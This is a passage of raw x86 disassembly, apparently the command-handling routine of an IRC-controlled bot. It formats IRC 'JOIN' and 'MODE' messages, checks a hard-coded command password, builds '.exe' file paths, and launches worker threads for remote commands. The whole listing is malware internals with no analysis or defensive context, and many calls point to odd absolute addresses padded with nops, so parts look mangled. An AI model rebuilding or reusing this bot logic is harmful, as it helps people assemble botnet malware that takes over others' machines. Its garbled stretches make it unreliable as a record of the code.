mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2680EF8h
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
nop
call near ptr 269086Bh
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A864
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
call near ptr 2680EF8h
nop
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
nop
call near ptr 269086Bh
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7E8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset byte_41561D
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
nop
call near ptr 2680EF8h
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
call near ptr 269086Bh
nop
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A780
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset dword_414358
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
nop
call near ptr 2680EF8h
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
call near ptr 269086Bh
nop
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A718
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset byte_4135DF
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
nop
call near ptr 2680EF8h
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
nop
call near ptr 269086Bh
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
nop
call near ptr 269086Bh
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A648
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset byte_413A29
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
call near ptr 269086Bh
nop
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
nop
call near ptr 26B09DCh
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B4
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A578
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset dword_417054
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
nop
call near ptr 269086Bh
push eax
push offset unk_42A53C
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 26709E4h
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aSaadfgh ; "saadfgh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
nop
call near ptr 26B0000h
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
nop
call near ptr 269086Bh
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A440
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
call near ptr 2680EF8h
nop
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A404
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D0
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A39C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset byte_414F57
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
nop
call near ptr 2680EF8h
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
nop
call near ptr 269086Bh
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A334
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset byte_414703
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
call near ptr 2680EF8h
nop
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
nop
call near ptr 269086Bh
push eax
push offset dword_42A2F8
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F0
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2DC
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C0
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2B8
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2680EF8h
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A968
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
